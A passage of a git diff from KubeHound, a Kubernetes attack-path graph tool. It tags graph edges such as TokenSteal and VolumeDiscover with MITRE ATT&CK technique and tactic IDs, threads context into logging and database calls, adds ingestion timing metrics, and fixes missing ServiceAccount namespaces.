types.EdgeTraversal { func (e *TokenBruteforce) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/token_bruteforce_namespace.go b/pkg/kubehound/graph/edge/token_bruteforce_namespace.go index 288d3be37..2c31ec2fe 100644 --- a/pkg/kubehound/graph/edge/token_bruteforce_namespace.go +++ b/pkg/kubehound/graph/edge/token_bruteforce_namespace.go @@ -35,13 +35,24 @@ func (e *TokenBruteforceNamespace) Name() string { return "TokenBruteforceNamespace" } +func (e *TokenBruteforceNamespace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueStealApplicationAccessTokens +} + +func (e *TokenBruteforceNamespace) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *TokenBruteforceNamespace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*tokenBruteforceNSGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Identity) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Identity, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } // Stream finds all roles that are namespaced and have secrets/get or equivalent wildcard permissions and matching identities. @@ -60,7 +71,7 @@ func (e *TokenBruteforceNamespace) Stream(ctx context.Context, store storedb.Pro }} } - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/token_list.go b/pkg/kubehound/graph/edge/token_list.go index c3dd7e97e..0d5688917 100644 --- a/pkg/kubehound/graph/edge/token_list.go +++ b/pkg/kubehound/graph/edge/token_list.go @@ -35,6 +35,14 @@ func (e *TokenList) Name() string { return "TokenListCluster" } +func (e *TokenList) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueStealApplicationAccessTokens +} + +func (e *TokenList) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *TokenList) BatchSize() int { if e.cfg.LargeClusterOptimizations { // Under optimization this becomes a very cheap operation @@ -64,24 +72,31 @@ func (e *TokenList) Traversal() types.EdgeTraversal { if e.cfg.LargeClusterOptimizations { // For larger clusters simply target the system:masters group to reduce redundant attack paths g.V(). - HasLabel("Identity"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). + Has("class", "Identity"). Has("name", "system:masters"). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } else { // In smaller clusters we can still show the (large set of) attack paths generated by this attack g.V(). - HasLabel("Identity"). + Has("runID", e.runtime.RunID.String()). + Has("cluster", e.runtime.ClusterName). Has("class", "Identity"). As("i"). V(inserts...). Has("critical", false). AddE(e.Label()). To("i"). + Property("attckTechniqueID", string(e.AttckTechniqueID())). + Property("attckTacticID", string(e.AttckTacticID())). Barrier().Limit(0) } @@ -93,7 +108,7 @@ func (e *TokenList) Traversal() types.EdgeTraversal { func (e *TokenList) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/token_list_namespace.go b/pkg/kubehound/graph/edge/token_list_namespace.go index 92abb502b..956403603 100644 --- a/pkg/kubehound/graph/edge/token_list_namespace.go +++ b/pkg/kubehound/graph/edge/token_list_namespace.go @@ -35,13 +35,24 @@ func (e *TokenListNamespace) Name() string { return "TokenListNamespace" } +func (e *TokenListNamespace) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueStealApplicationAccessTokens +} + +func (e *TokenListNamespace) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *TokenListNamespace) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*tokenListNSGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Identity) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Role, typed.Identity, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } // Stream finds all roles that are namespaced and have secrets/list or equivalent wildcard permissions and matching identities. @@ -49,7 +60,7 @@ func (e *TokenListNamespace) Processor(ctx context.Context, oic *converter.Objec func (e *TokenListNamespace) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - permissionSets := adapter.MongoDB(store).Collection(collections.PermissionSetName) + permissionSets := adapter.MongoDB(ctx, store).Collection(collections.PermissionSetName) pipeline := []bson.M{ { "$match": bson.M{ diff --git a/pkg/kubehound/graph/edge/token_steal.go b/pkg/kubehound/graph/edge/token_steal.go index 8036beee8..8f1f53a0b 100644 --- a/pkg/kubehound/graph/edge/token_steal.go +++ b/pkg/kubehound/graph/edge/token_steal.go @@ -37,19 +37,30 @@ func (e *TokenSteal) Name() string { return "TokenSteal" } +func (e *TokenSteal) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueUnsecuredCredentials +} + +func (e *TokenSteal) AttckTacticID() AttckTacticID { + return AttckTacticCredentialAccess +} + func (e *TokenSteal) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*tokenStealGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Identity) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Volume, typed.Identity, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *TokenSteal) Stream(ctx context.Context, sdb storedb.Provider, c cache.CacheReader, process types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(sdb).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, sdb).Collection(collections.VolumeName) filter := bson.M{ "type": shared.VolumeTypeProjected, diff --git a/pkg/kubehound/graph/edge/volume_access.go b/pkg/kubehound/graph/edge/volume_access.go index f46b183f5..671ea8fe3 100644 --- a/pkg/kubehound/graph/edge/volume_access.go +++ b/pkg/kubehound/graph/edge/volume_access.go @@ -36,19 +36,30 @@ func (e *VolumeAccess) Name() string { return "VolumeAccess" } +func (e *VolumeAccess) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAndResourceDiscovery +} + +func (e *VolumeAccess) AttckTacticID() AttckTacticID { + return AttckTacticDiscovery +} + func (e *VolumeAccess) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*volumeAccessGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Volume) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Node, typed.Volume, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *VolumeAccess) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(store).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, store).Collection(collections.VolumeName) // We just need a 1:1 mapping of the node and volume to create this edge projection := bson.M{"_id": 1, "node_id": 1} diff --git a/pkg/kubehound/graph/edge/volume_discover.go b/pkg/kubehound/graph/edge/volume_discover.go index e54fcf314..a6a4bd31c 100644 --- a/pkg/kubehound/graph/edge/volume_discover.go +++ b/pkg/kubehound/graph/edge/volume_discover.go @@ -36,19 +36,30 @@ func (e *VolumeDiscover) Name() string { return "VolumeDiscover" } +func (e *VolumeDiscover) AttckTechniqueID() AttckTechniqueID { + return AttckTechniqueContainerAndResourceDiscovery +} + +func (e *VolumeDiscover) AttckTacticID() AttckTacticID { + return AttckTacticDiscovery +} + func (e *VolumeDiscover) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { typed, ok := entry.(*volumeMountGroup) if !ok { return nil, fmt.Errorf("invalid type passed to processor: %T", entry) } - return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Container, typed.Volume) + return adapter.GremlinEdgeProcessor(ctx, oic, e.Label(), typed.Container, typed.Volume, map[string]any{ + "attckTechniqueID": string(e.AttckTechniqueID()), + "attckTacticID": string(e.AttckTacticID()), + }) } func (e *VolumeDiscover) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { - volumes := adapter.MongoDB(store).Collection(collections.VolumeName) + volumes := adapter.MongoDB(ctx, store).Collection(collections.VolumeName) // We just need a 1:1 mapping of the container and volume to create this edge projection := bson.M{"_id": 1, "container_id": 1} diff --git a/pkg/kubehound/graph/vertex/base_vertex.go b/pkg/kubehound/graph/vertex/base_vertex.go index 9bd88dc54..4e2a7d737 100644 --- a/pkg/kubehound/graph/vertex/base_vertex.go +++ b/pkg/kubehound/graph/vertex/base_vertex.go @@ -23,7 +23,6 @@ func (v *BaseVertex) BatchSize() int { func (v *BaseVertex) DefaultTraversal(label string) types.VertexTraversal { return func(source *gremlingo.GraphTraversalSource, inserts []any) *gremlingo.GraphTraversal { g := source.GetGraphTraversal(). - //nolint:asasalint // required due to constraints in the gremlin API Inject(inserts). Unfold().As("entities"). AddV(label).As("vtx"). diff --git a/pkg/kubehound/graph/vertex/container_test.go b/pkg/kubehound/graph/vertex/container_test.go index 7e9096581..66482afd6 100644 --- a/pkg/kubehound/graph/vertex/container_test.go +++ b/pkg/kubehound/graph/vertex/container_test.go @@ -44,7 +44,6 @@ func TestContainer_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := Container{} diff --git a/pkg/kubehound/graph/vertex/identity_test.go b/pkg/kubehound/graph/vertex/identity_test.go index 03fd664c6..db3387ffc 100644 --- a/pkg/kubehound/graph/vertex/identity_test.go +++ b/pkg/kubehound/graph/vertex/identity_test.go @@ -33,7 +33,6 @@ func TestIdentity_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := Identity{} diff --git a/pkg/kubehound/graph/vertex/node_test.go b/pkg/kubehound/graph/vertex/node_test.go index 2cecd75af..890e45a4b 100644 --- a/pkg/kubehound/graph/vertex/node_test.go +++ b/pkg/kubehound/graph/vertex/node_test.go @@ -34,7 +34,6 @@ func TestNode_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := Node{} diff --git a/pkg/kubehound/graph/vertex/permission_set_test.go b/pkg/kubehound/graph/vertex/permission_set_test.go index e29200781..a03b1b94d 100644 --- a/pkg/kubehound/graph/vertex/permission_set_test.go +++ b/pkg/kubehound/graph/vertex/permission_set_test.go @@ -33,7 +33,6 @@ func TestPermissionSet_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := PermissionSet{} diff --git a/pkg/kubehound/graph/vertex/pod_test.go b/pkg/kubehound/graph/vertex/pod_test.go index fa22a9832..4ea993396 100644 --- a/pkg/kubehound/graph/vertex/pod_test.go +++ b/pkg/kubehound/graph/vertex/pod_test.go @@ -37,7 +37,6 @@ func TestPod_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := Pod{} diff --git a/pkg/kubehound/graph/vertex/types.go b/pkg/kubehound/graph/vertex/types.go new file mode 100644 index 000000000..4c9413a07 --- /dev/null +++ b/pkg/kubehound/graph/vertex/types.go @@ -0,0 +1,14 @@ +package vertex + +var ( + // Labels is a list of all possible labels for a vertex in the graph. + Labels = []string{ + ContainerLabel, + EndpointLabel, + IdentityLabel, + NodeLabel, + PermissionSetLabel, + PodLabel, + VolumeLabel, + } +) diff --git a/pkg/kubehound/graph/vertex/volume_test.go b/pkg/kubehound/graph/vertex/volume_test.go index fe971ab54..e41dc800e 100644 --- a/pkg/kubehound/graph/vertex/volume_test.go +++ b/pkg/kubehound/graph/vertex/volume_test.go @@ -32,7 +32,6 @@ func TestVolume_Traversal(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := Volume{} diff --git a/pkg/kubehound/ingestor/pipeline/cluster_role_binding_ingest.go b/pkg/kubehound/ingestor/pipeline/cluster_role_binding_ingest.go index bb666230f..93a05c1c8 100644 --- a/pkg/kubehound/ingestor/pipeline/cluster_role_binding_ingest.go +++ b/pkg/kubehound/ingestor/pipeline/cluster_role_binding_ingest.go @@ -91,7 +91,7 @@ func (i *ClusterRoleBindingIngest) processSubject(ctx context.Context, subj *sto } // Transform store model to vertex input - insert, err := i.r.graphConvert.Identity(sid) + insert, err := i.r.graphConvert.Identity(sid) //nolint: contextcheck if err != nil { return err } @@ -126,7 +126,7 @@ func (i *ClusterRoleBindingIngest) createPermissionSet(ctx context.Context, crb } // Transform store model to vertex input - insert, err := i.r.graphConvert.PermissionSet(o) + insert, err := i.r.graphConvert.PermissionSet(o) //nolint: contextcheck if err != nil { return err } diff --git a/pkg/kubehound/ingestor/pipeline/endpoint_ingest.go b/pkg/kubehound/ingestor/pipeline/endpoint_ingest.go index 5b3558d61..4554fc042 100644 --- a/pkg/kubehound/ingestor/pipeline/endpoint_ingest.go +++ b/pkg/kubehound/ingestor/pipeline/endpoint_ingest.go @@ -50,7 +50,7 @@ func (i *EndpointIngest) Initialize(ctx context.Context, deps *Dependencies) err // IngestEndpoint is invoked by the collector for each endpoint slice collected. // The function ingests an input endpoint slice into the cache/store/graph databases asynchronously. func (i *EndpointIngest) IngestEndpoint(ctx context.Context, eps types.EndpointType) error { - if ok, err := preflight.CheckEndpoint(eps); !ok { + if ok, err := preflight.CheckEndpoint(ctx, eps); !ok { return err } diff --git a/pkg/kubehound/ingestor/pipeline/group.go b/pkg/kubehound/ingestor/pipeline/group.go index 2fcc22e47..905ddf0e6 100644 --- a/pkg/kubehound/ingestor/pipeline/group.go +++ b/pkg/kubehound/ingestor/pipeline/group.go @@ -4,7 +4,6 @@ import ( "context" "sync" - "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/telemetry/log" ) @@ -19,7 +18,7 @@ func (g *Group) Run(outer context.Context, deps *Dependencies) error { ctx, cancelGroup := context.WithCancelCause(outer) defer cancelGroup(nil) - l := log.Trace(ctx, log.WithComponent(globals.IngestorComponent)) + l := log.Trace(ctx) l.Infof("Starting %s ingests", g.Name) // Run the group ingests in parallel and cancel all on any errors. Note we deliberately avoid diff --git a/pkg/kubehound/ingestor/pipeline/node_ingest.go b/pkg/kubehound/ingestor/pipeline/node_ingest.go index 499947d6d..69486d35c 100644 --- a/pkg/kubehound/ingestor/pipeline/node_ingest.go +++ b/pkg/kubehound/ingestor/pipeline/node_ingest.go @@ -67,7 +67,7 @@ func (i *NodeIngest) IngestNode(ctx context.Context, node types.NodeType) error return err } // Transform store model to vertex input - insert, err := i.r.graphConvert.Node(o) + insert, err := i.r.graphConvert.Node(o) //nolint: contextcheck if err != nil { return err } diff --git a/pkg/kubehound/ingestor/pipeline/pod_ingest.go b/pkg/kubehound/ingestor/pipeline/pod_ingest.go index cce13afff..fbbffce80 100644 --- a/pkg/kubehound/ingestor/pipeline/pod_ingest.go +++ b/pkg/kubehound/ingestor/pipeline/pod_ingest.go @@ -219,7 +219,7 @@ func (i *PodIngest) processVolumeMount(ctx context.Context, volumeMount types.Vo // The function ingests an input pod object into the cache/store/graph and then ingests // all child objects (containers, volumes, etc) through their own ingestion pipeline. func (i *PodIngest) IngestPod(ctx context.Context, pod types.PodType) error { - if ok, err := preflight.CheckPod(pod); !ok { + if ok, err := preflight.CheckPod(ctx, pod); !ok { return err } @@ -237,7 +237,7 @@ func (i *PodIngest) IngestPod(ctx context.Context, pod types.PodType) error { } // Transform store model to vertex input - insert, err := i.r.graphConvert.Pod(sp) + insert, err := i.r.graphConvert.Pod(sp) //nolint: contextcheck if err != nil { return err } diff --git a/pkg/kubehound/ingestor/pipeline/role_binding_ingest.go b/pkg/kubehound/ingestor/pipeline/role_binding_ingest.go index eeaa5e045..42771e030 100644 --- a/pkg/kubehound/ingestor/pipeline/role_binding_ingest.go +++ b/pkg/kubehound/ingestor/pipeline/role_binding_ingest.go @@ -91,7 +91,7 @@ func (i *RoleBindingIngest) processSubject(ctx context.Context, subj *store.Bind } // Transform store model to vertex input - insert, err := i.r.graphConvert.Identity(sid) + insert, err := i.r.graphConvert.Identity(sid) //nolint: contextcheck if err != nil { return err } @@ -117,7 +117,7 @@ func (i *RoleBindingIngest) createPermissionSet(ctx context.Context, rb *store.R } // Transform store model to vertex input - insert, err := i.r.graphConvert.PermissionSet(o) + insert, err := i.r.graphConvert.PermissionSet(o) //nolint: contextcheck if err != nil { return err } diff --git a/pkg/kubehound/ingestor/pipeline/sequence.go b/pkg/kubehound/ingestor/pipeline/sequence.go index 9594884f5..2503f25e5 100644 --- a/pkg/kubehound/ingestor/pipeline/sequence.go +++ b/pkg/kubehound/ingestor/pipeline/sequence.go @@ -4,7 +4,6 @@ import ( "context" "fmt" - "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/telemetry/log" ) @@ -16,7 +15,7 @@ type Sequence struct { // Run executes all the pipeline groups in sequence and returns when all complete. func (s *Sequence) Run(ctx context.Context, deps *Dependencies) error { - l := log.Trace(ctx, log.WithComponent(globals.IngestorComponent)) + l := log.Trace(ctx) l.Infof("Starting ingest sequence %s", s.Name) for _, g := range s.Groups { diff --git a/pkg/kubehound/ingestor/pipeline_ingestor.go b/pkg/kubehound/ingestor/pipeline_ingestor.go index 1cefb5041..c80d6b343 100644 --- a/pkg/kubehound/ingestor/pipeline_ingestor.go +++ b/pkg/kubehound/ingestor/pipeline_ingestor.go @@ -2,11 +2,11 @@ package ingestor import ( "context" + "fmt" "sync" "github.com/DataDog/KubeHound/pkg/collector" "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/kubehound/ingestor/pipeline" "github.com/DataDog/KubeHound/pkg/kubehound/services" "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" @@ -94,7 +94,7 @@ func (i PipelineIngestor) Run(outer context.Context) error { ctx, cancelAll := context.WithCancelCause(outer) defer cancelAll(nil) - l := log.Trace(ctx, log.WithComponent(globals.IngestorComponent)) + l := log.Trace(ctx) l.Info("Starting ingest sequences") wg := &sync.WaitGroup{} @@ -114,7 +114,8 @@ func (i PipelineIngestor) Run(outer context.Context) error { go func() { defer wg.Done() - l.Infof("Running ingestor sequence %s", s.Name) + msg := fmt.Sprintf("Running ingestor sequence %s", s.Name) + l.Info(msg) err := s.Run(ctx, deps) if err != nil { diff --git a/pkg/kubehound/ingestor/preflight/checks.go b/pkg/kubehound/ingestor/preflight/checks.go index 811baae0f..bff878a5f 100644 --- a/pkg/kubehound/ingestor/preflight/checks.go +++ b/pkg/kubehound/ingestor/preflight/checks.go @@ -1,6 +1,7 @@ package preflight import ( + "context" "errors" "github.com/DataDog/KubeHound/pkg/globals/types" @@ -22,15 +23,15 @@ func CheckNode(node types.NodeType) (bool, error) { } // CheckPod checks an input K8s pod object and reports whether it should be ingested. -func CheckPod(pod types.PodType) (bool, error) { +func CheckPod(ctx context.Context, pod types.PodType) (bool, error) { + l := log.Logger(ctx) if pod == nil { return false, errors.New("nil pod input in preflight check") } // If the pod is not running we don't want to save it if pod.Status.Phase != "Running" { - log.I.Debugf("pod %s::%s not running (status=%s), skipping ingest!", - pod.Namespace, pod.Name, pod.Status.Phase) + l.Debug("pod is not running skipping ingest!", log.String("namespace", pod.Namespace), log.String("pod_name", pod.Name), log.String("status", string(pod.Status.Phase))) return false, nil } @@ -97,14 +98,14 @@ func CheckClusterRoleBinding(role types.ClusterRoleBindingType) (bool, error) { } // CheckEndpoint checks an input K8s endpoint slice object and reports whether it should be ingested. -func CheckEndpoint(ep types.EndpointType) (bool, error) { +func CheckEndpoint(ctx context.Context, ep types.EndpointType) (bool, error) { + l := log.Logger(ctx) if ep == nil { return false, errors.New("nil endpoint input in preflight check") } if len(ep.Ports) == 0 { - log.I.Debugf("endpoint slice %s::%s not associated with any target, skipping ingest!", - ep.Namespace, ep.Name) + l.Debug("endpoint slice not associated with any target, skipping ingest!", log.String("namespace", ep.Namespace), log.String("name", ep.Name)) return false, nil } diff --git a/pkg/kubehound/libkube/address_test.go b/pkg/kubehound/libkube/address_test.go index b7a8fc1bd..3a9fa8752 100644 --- a/pkg/kubehound/libkube/address_test.go +++ b/pkg/kubehound/libkube/address_test.go @@ -45,7 +45,6 @@ func TestAddressType(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() diff --git a/pkg/kubehound/models/converter/store.go b/pkg/kubehound/models/converter/store.go index a7127ea05..bc4212d31 100644 --- a/pkg/kubehound/models/converter/store.go +++ b/pkg/kubehound/models/converter/store.go @@ -310,6 +310,10 @@ func (c *StoreConverter) RoleBinding(ctx context.Context, input types.RoleBindin } for _, s := range subj { + // ServiceAccount are bounded to a namespace + if s.Namespace == "" && s.Kind == rbacv1.ServiceAccountKind { + s.Namespace = input.Namespace + } s, err := c.convertSubject(ctx, s) if err != nil { return nil, fmt.Errorf("role binding subject convert: %w", err) @@ -366,7 +370,7 @@ func (c *StoreConverter) ClusterRoleBinding(ctx context.Context, input types.Clu // Identity returns the store representation of a K8s identity role binding from an input store BindSubject (subfield of RoleBinding) object. // NOTE: store.Identity does not map directly to a K8s API object and instead derives from the subject of a role binding. -func (c *StoreConverter) Identity(_ context.Context, input *store.BindSubject, parent *store.RoleBinding) (*store.Identity, error) { +func (c *StoreConverter) Identity(ctx context.Context, input *store.BindSubject, parent *store.RoleBinding) (*store.Identity, error) { output := &store.Identity{ Id: input.IdentityId, Name: input.Subject.Name, @@ -376,6 +380,21 @@ func (c *StoreConverter) Identity(_ context.Context, input *store.BindSubject, p Runtime: store.Runtime(c.runtime), } + // ServiceAccount are bounded to a namespace + // In a rolebindings definition, namespace is optional for ServiceAccount + // Since we are parsing rolebindings to get the list of ServiceAccount we need to fix the ServiceAccount namespace if it is missing + if input.Subject.Kind == "ServiceAccount" && len(input.Subject.Namespace) == 0 { + // This should never happen but ¯\_(ツ)_/¯ + if len(parent.Namespace) == 0 { + log.Trace(ctx).Errorf("Namespace not found for service account (%s), using input(rolebinding) namespace (%s) for PermissionSet (%s)\n", input.Subject.Name, parent.Namespace, input.IdentityId) + } else { + output.Namespace = parent.Namespace + output.IsNamespaced = true + } + + return output, nil + } + if len(input.Subject.Namespace) != 0 { output.IsNamespaced = true output.Namespace = input.Subject.Namespace diff --git a/pkg/kubehound/providers/providers.go b/pkg/kubehound/providers/providers.go index 529fe2505..6b63b5da3 100644 --- a/pkg/kubehound/providers/providers.go +++ b/pkg/kubehound/providers/providers.go @@ -3,6 +3,7 @@ package providers import ( "context" "fmt" + "time" "github.com/DataDog/KubeHound/pkg/collector" "github.com/DataDog/KubeHound/pkg/config" @@ -11,7 +12,11 @@ import ( "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" "github.com/DataDog/KubeHound/pkg/kubehound/storage/graphdb" "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" + "github.com/DataDog/KubeHound/pkg/telemetry/events" "github.com/DataDog/KubeHound/pkg/telemetry/log" + "github.com/DataDog/KubeHound/pkg/telemetry/metric" + "github.com/DataDog/KubeHound/pkg/telemetry/statsd" + "github.com/DataDog/KubeHound/pkg/telemetry/tag" ) type ProvidersFactoryConfig struct { @@ -22,13 +27,14 @@ type ProvidersFactoryConfig struct { // Initiating all the providers need for KubeHound (cache, store, graph) func NewProvidersFactoryConfig(ctx context.Context, khCfg *config.KubehoundConfig) (*ProvidersFactoryConfig, error) { + l := log.Logger(ctx) // Create the cache client - log.I.Info("Loading cache provider") + l.Info("Loading cache provider") cp, err := cache.Factory(ctx, khCfg) if err != nil { return nil, fmt.Errorf("cache client creation: %w", err) } - log.I.Infof("Loaded %s cache provider", cp.Name()) + l.Info("Loaded cache provider", log.String("provider", cp.Name())) err = cp.Prepare(ctx) if err != nil { @@ -36,12 +42,13 @@ func NewProvidersFactoryConfig(ctx context.Context, khCfg *config.KubehoundConfi } // Create the store client - log.I.Info("Loading store database provider") + l.Info("Loading store database provider") sp, err := storedb.Factory(ctx, khCfg) if err != nil { return nil, fmt.Errorf("store database client creation: %w", err) } - log.I.Infof("Loaded %s store provider", sp.Name()) + msg := fmt.Sprintf("Loaded %s store provider", sp.Name()) + l.Info(msg, log.String("provider", sp.Name())) err = sp.Prepare(ctx) if err != nil { @@ -49,12 +56,13 @@ func NewProvidersFactoryConfig(ctx context.Context, khCfg *config.KubehoundConfi } // Create the graph client - log.I.Info("Loading graph database provider") + l.Info("Loading graph database provider") gp, err := graphdb.Factory(ctx, khCfg) if err != nil { return nil, fmt.Errorf("graph database client creation: %w", err) } - log.I.Infof("Loaded %s graph provider", gp.Name()) + msg = fmt.Sprintf("Loaded %s graph provider", gp.Name()) + l.Info(msg, log.String("provider", sp.Name())) err = gp.Prepare(ctx) if err != nil { @@ -75,26 +83,40 @@ func (p *ProvidersFactoryConfig) Close(ctx context.Context) { } func (p *ProvidersFactoryConfig) IngestBuildData(ctx context.Context, khCfg *config.KubehoundConfig) error { + l := log.Logger(ctx) // Create the collector instance - log.I.Info("Loading Kubernetes data collector client") + l.Info("Loading Kubernetes data collector client") + start := time.Now() collect, err := collector.ClientFactory(ctx, khCfg) if err != nil { return fmt.Errorf("collector client creation: %w", err) } defer func() { collect.Close(ctx) }() - log.I.Infof("Loaded %s collector client", collect.Name()) + l.Infof("Loaded %s collector client", collect.Name()) // Run the ingest pipeline - log.I.Info("Starting Kubernetes raw data ingest") + l.Info("Starting Kubernetes raw data ingest") err = ingestor.IngestData(ctx, khCfg, collect, p.CacheProvider, p.StoreProvider, p.GraphProvider) if err != nil { return fmt.Errorf("raw data ingest: %w", err) } + // Metric for IngestData + _ = statsd.Gauge(ctx, metric.IngestionIngestDuration, float64(time.Since(start)), tag.GetDefaultTags(ctx), 1) + startBuild := time.Now() err = graph.BuildGraph(ctx, khCfg, p.StoreProvider, p.GraphProvider, p.CacheProvider) if err != nil { return err } + // Metric for BuildGraph + _ = statsd.Gauge(ctx, metric.IngestionBuildDuration, float64(time.Since(startBuild)), tag.GetDefaultTags(ctx), 1) + + // Metric for IngestBuildData + _ = statsd.Gauge(ctx, metric.IngestionRunDuration, float64(time.Since(start)), tag.GetDefaultTags(ctx), 1) + + text := fmt.Sprintf("KubeHound ingestion has been completed in %s", time.Since(start)) + _ = events.PushEvent(ctx, events.IngestFinished, text) + return nil } diff --git a/pkg/kubehound/risk/engine.go b/pkg/kubehound/risk/engine.go index aebe37e40..17dbf82f5 100644 --- a/pkg/kubehound/risk/engine.go +++ b/pkg/kubehound/risk/engine.go @@ -2,6 +2,7 @@ package risk import ( + "context" "sync" "github.com/DataDog/KubeHound/pkg/kubehound/models/store" @@ -15,9 +16,10 @@ var riOnce sync.Once func Engine() *RiskEngine { var err error riOnce.Do(func() { + l := log.Logger(context.Background()) engineInstance, err = newEngine() if err != nil { - log.I.Fatalf("Risk engine initialization: %v", err) + l.Fatal("Risk engine initialization", log.ErrorField(err)) } }) diff --git a/pkg/kubehound/storage/cache/memcache_provider.go b/pkg/kubehound/storage/cache/memcache_provider.go index 929a3b36d..40e0d43f6 100644 --- a/pkg/kubehound/storage/cache/memcache_provider.go +++ b/pkg/kubehound/storage/cache/memcache_provider.go @@ -61,10 +61,10 @@ func (m *MemCacheProvider) Get(ctx context.Context, key cachekey.CacheKey) *Cach data, ok := m.data[computeKey(key)] tagCacheKey := tag.GetBaseTagsWith(tag.CacheKey(key.Shard())) if !ok { - _ = statsd.Incr(metric.CacheMiss, tagCacheKey, 1) + _ = statsd.Incr(ctx, metric.CacheMiss, tagCacheKey, 1) log.Trace(ctx).Debugf("entry not found in cache: %s", computeKey(key)) } else { - _ = statsd.Incr(metric.CacheHit, tagCacheKey, 1) + _ = statsd.Incr(ctx, metric.CacheHit, tagCacheKey, 1) } return &CacheResult{ diff --git a/pkg/kubehound/storage/cache/memcache_test.go b/pkg/kubehound/storage/cache/memcache_test.go index 7106ecb99..6bca20534 100644 --- a/pkg/kubehound/storage/cache/memcache_test.go +++ b/pkg/kubehound/storage/cache/memcache_test.go @@ -61,7 +61,6 @@ func TestMemCacheProvider_Get(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() m := &MemCacheProvider{ @@ -152,7 +151,6 @@ func TestMemCacheAsyncWriter_Queue(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, 